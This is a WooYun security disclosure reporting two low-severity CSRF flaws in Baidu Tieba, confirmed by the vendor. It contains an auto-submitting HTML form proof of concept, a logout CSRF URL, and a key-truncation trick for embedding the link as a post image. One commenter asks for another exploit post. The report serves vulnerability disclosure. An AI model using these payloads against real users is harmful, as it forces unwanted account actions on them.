当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-088172

漏洞标题：百度贴吧CSRF漏洞两枚（需要吧主权限）

相关厂商：百度

漏洞作者： q601333824

提交时间：2014-12-22 18:26

修复时间：2015-02-05 18:28

公开时间：2015-02-05 18:28

漏洞类型：CSRF

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-22： 细节已通知厂商并且等待厂商处理中
2014-12-23： 厂商已经确认，细节仅向厂商公开
2015-01-02： 细节向核心白帽子及相关领域专家公开
2015-01-12： 细节向普通白帽子公开
2015-01-22： 细节向实习白帽子公开
2015-02-05： 细节向公众公开

简要描述：

1.百度贴吧CSRF漏洞两枚
2.通过ID创建数据，前提要吧主权限，可以配合csrf漏洞

详细说明：

百度贴吧存在两枚CSRF漏洞
--------------------------------------------------------------------------
1.编辑贴吧置顶的的指引,没有验证来源和tbs

<html>
<body>
<form id="csrf" name="csrf" action="http://tieba.baidu.com/toutu/addContent" method="POST">
<input type="text" name="ie" value="utf-8" />
<input type="text" name="fid" value="116863" />
<input type="text" name="type_id" value="1" />
<input type="text" name="id" value="2" />
<input type="text" name="title" value="BUG吧欢迎您1" />
<input type="text" name="url" value="http://tieba.baidu.com/p/3288419523" />
</form>
<script>
	document.csrf.submit();
</script>
</body>
</html>


QQ截图20141222172737.png



2.其中type_id代表横向序号,id代表纵向序号
贴吧置顶指引限制，限制设置三个组，四行，而且序号都是从0开始的.
可以通过修改ID增加行数，比如已经存在四行，四行序号刚好到id=3,这个是时候如果id=4,就可以新创建一行数据.如果id=4.你下次post的id=6,中间少了id=5,就不会创建一行,如图

QQ截图20141222172702.png


3.BUG吧置顶测试效果:

http://tieba.baidu.com/f?kw=bug&ie=utf-8&fr=wwwt


-------------------------------------------------------------------------------------
4.另一个是退出登录的的csrf:

http://www.hao123.com/api/logout


5.现在不能把csrf插入图片，会被转存，但是插入视频，预览图片，没有对图片进行转存
如图

QQ截图20141222173715.png


6.会提示非法连接，因为post参数存在key,进行验证，如图

QQ截图20141222174056.png


7.根据猜想，插入视频，会随机生成一个key，提交之后进行匹配，如果post一个不存在的key呢???于是删掉key参数的其中一位（不能删完，删完了就不能显示预览图片，会变成贴吧默认的视频预览图片）
(1)如果删掉全部key参数，变成下面这样

QQ截图20141222174450.png


(2)如果只删掉一位参数，就会显示出预览图片,而且csr连接插入视频预览图片了，如图

QQ截图20141222174732.png


QQ截图20141222174822.png


8,OK,回复帖子试试吗，用户退出登录了

QQ截图20141222175005.png




漏洞证明：

1.

<html>
<body>
<form id="csrf" name="csrf" action="http://tieba.baidu.com/toutu/addContent" method="POST">
<input type="text" name="ie" value="utf-8" />
<input type="text" name="fid" value="116863" />
<input type="text" name="type_id" value="1" />
<input type="text" name="id" value="2" />
<input type="text" name="title" value="BUG吧欢迎您1" />
<input type="text" name="url" value="http://tieba.baidu.com/p/3288419523" />
</form>
<script>
	document.csrf.submit();
</script>
</body>
</html>



2.

QQ截图20141222172737.png


3.

QQ截图20141222172702.png


4.测试效果:

http://tieba.baidu.com/f?kw=bug&ie=utf-8&fr=wwwt


------------------------------------------------------------------------------------------
5.

http://www.hao123.com/api/logout


6.

QQ截图20141222174056.png


7.

QQ截图20141222174450.png


8.

QQ截图20141222174732.png


9.

QQ截图20141222174822.png


10.

QQ截图20141222175005.png


修复方案：

1.增加tbs验证，至于指引行数，说不定以后可以弄个收费增加行数业务
2.第二个退出登录csrf其实是鸡肋的，因为对快速登录用户无效，因为手动输入帐号登录，cook会同步到hao123登录，但是快速登录cook不会同步到hao123,鸡肋的地方就是对快速登录用户无效

版权声明：转载请注明来源 q601333824@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2014-12-23 15:13

厂商回复：

感谢提交，已通知业务部门处理

最新状态：

暂无

漏洞评价：

评论

  1. 2014-12-25 12:25 | 熊猫 ( 实习白帽子 | Rank:64 漏洞数:33 | panda)

    厉害

  2. 2014-12-25 22:37 | q601333824 ( 普通白帽子 | Rank:217 漏洞数:49 | 出自《丹特丽安的书架》---吾问汝,汝为人否...)

    @熊猫 很简单的，只是一个小BUG，留心下就能发现了

  3. 2015-04-25 01:11 | 昌维 ( 路人 | Rank:2 漏洞数:3 | QQ：867597730，百度贴吧ID：昌维001)

    洞主啊为什么现在还没修复，我看bug吧里面还有好多人在讨论这个问题，，，

  4. 2015-04-25 01:12 | 昌维 ( 路人 | Rank:2 漏洞数:3 | QQ：867597730，百度贴吧ID：昌维001)

    还有6，7，8，9这四张图为什么这么模糊，求发高清无码来

  5. 2015-04-27 19:18 | q601333824 ( 普通白帽子 | Rank:217 漏洞数:49 | 出自《丹特丽安的书架》---吾问汝,汝为人否...)

    @昌维 点击图片可以查看大图

  6. 2015-05-06 11:36 | 昌维 ( 路人 | Rank:2 漏洞数:3 | QQ：867597730，百度贴吧ID：昌维001)

    话说现在这个还有用吗，你这个漏洞2.5号公开的，可是为什么五月份还有在李毅吧发这种帖子，百度他不管吗

  7. 2015-05-06 11:50 | q601333824 ( 普通白帽子 | Rank:217 漏洞数:49 | 出自《丹特丽安的书架》---吾问汝,汝为人否...)

    @昌维 然而毕竟没什么软用，就这个意思

  8. 2015-05-06 21:12 | 昌维 ( 路人 | Rank:2 漏洞数:3 | QQ：867597730，百度贴吧ID：昌维001)

    @q601333824 这个的确没什么卵用，话说厂商回复我5rank我实际得了1rank，那身下4rank给谁了？

  9. 2015-05-06 21:16 | q601333824 ( 普通白帽子 | Rank:217 漏洞数:49 | 出自《丹特丽安的书架》---吾问汝,汝为人否...)

    @昌维 小厂商流程，http://www.wooyun.org/notice.php?action=view&id=28 你可以看下他们的审核机智

  10. 2015-05-06 21:19 | q601333824 ( 普通白帽子 | Rank:217 漏洞数:49 | 出自《丹特丽安的书架》---吾问汝,汝为人否...)

    @昌维 http://zone.wooyun.org/ 我现在在看社区，能学到很多

  11. 2015-05-06 21:21 | 昌维 ( 路人 | Rank:2 漏洞数:3 | QQ：867597730，百度贴吧ID：昌维001)

    @q601333824 乌云知识库我也看，总共五十多页的文章都快看完啦虽然有些看不懂！

  12. 2015-05-07 13:25 | 昌维 ( 路人 | Rank:2 漏洞数:3 | QQ：867597730，百度贴吧ID：昌维001)

    @q601333824 你那个访问之后可以修改别人头像的帖子还在吗？求那个帖子的地址